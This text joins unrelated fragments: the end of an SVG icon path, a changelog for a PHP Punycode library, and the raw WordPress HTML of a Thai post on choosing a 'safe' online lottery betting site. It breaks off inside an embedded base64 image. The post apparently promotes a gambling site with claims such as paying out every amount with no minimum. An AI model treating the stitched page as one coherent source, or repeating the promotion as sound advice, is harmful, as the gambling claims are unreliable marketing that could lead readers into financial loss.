    <path d="M7.85822 8.84922L4.85322 11.8542C4.75891 11.9453 4.63261 11.9957 4.50151 11.9946C4.37042 11.9934 4.24501 11.9408 4.15231 11.8481C4.0596 11.7554 4.00702 11.63 4.00588 11.4989C4.00474 11.3678 4.05514 11.2415 4.14622 11.1472L7.15122 8.14222V7.85922L4.14622 4.85322C4.05514 4.75891 4.00474 4.63261 4.00588 4.50151C4.00702 4.37042 4.0596 4.24501 4.15231 4.15231C4.24501 4.0596 4.37042 4.00702 4.50151 4.00588C4.63261 4.00474 4.75891 4.05514 4.85322 4.14622L7.85822 7.15122H8.14122L11.1462 4.14622C11.2405 4.05514 11.3668 4.00474 11.4979 4.00588C11.629 4.00702 11.7544 4.0596 11.8471 4.15231C11.9398 4.24501 11.9924 4.37042 11.9936 4.50151C11.9947 4.63261 11.9443 4.75891 11.8532 4.85322L8.84822 7.85922V8.14222L11.8532 11.1472C11.9443 11.2415 11.9947 11.3678 11.9936 11.4989C11.9924 11.63 11.9398 11.7554 11.8471 11.8481C11.7544 11.9408 11.629 11.9934 11.4979 11.9946C11.3668 11.9957 11.2405 11.9453 11.1462 11.8542L8.14122 8.84922L8.14222 8.85022L7.85822 8.84922Z" fill="black"/>
</svg>
# Changelog

## [Unreleased]

## [1.0.4] - 2024-05-02

### Fixed

-   Fix implicit nullable deprecation warning for PHP 8.4

## [1.0.3] - 2022-01-10

### Changed

-   Update PHPstan to 1.0
-   Switched to GitHub Actions

## [1.0.2] - 2020-07-15

### Added

-   Minor performance improvements

## [1.0.1] - 2020-06-16

### Fixed

-   When calling `Punycode::decode()`, the case flags array would fail to populate when given an empty array.

## [1.0.0] - 2020-06-09

-   Initial release


	<div id="primary" class="content-area primary">

		
					<main id="main" class="site-main">
				

<article
class="post-3063 post type-post status-publish format-standard hentry category-blog ast-article-single" id="post-3063" itemtype="https://schema.org/CreativeWork" itemscope="itemscope">

	
	
<div class="ast-post-format- ast-no-thumb single-layout-1">

	
	
		<header class="entry-header ">

			
			<h1 class="entry-title" itemprop="headline">วิธีเลือกเว็บแทงเลขให้ปลอดภัยและน่าเชื่อถือ</h1><div class="entry-meta">By <span class="posted-by vcard author" itemtype="https://schema.org/Person" itemscope="itemscope" itemprop="author">			<a title="View all posts by admlnlx"
				href="https://hgrothko.flowexagency.com/author/admlnlx/" rel="author"
				class="url fn n" itemprop="url"				>
				<span
				class="author-name" itemprop="name"				>
				admlnlx			</span>
			</a>
		</span>

		 / <span class="posted-on"><span class="published" itemprop="datePublished"> August 20, 2026 </span></span></div>
			
		</header><!-- .entry-header -->

	
	
	<div class="entry-content clear"
	itemprop="text"	>

		
		<p>เว็บหวยออนไลน์อันดับหนึ่ง จ่ายจริงทุกยอด ไม่มีขั้นต่ำ<br />
<img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' width="605px" alt="หวยออนไลน์" src="data:image/jpg;base64,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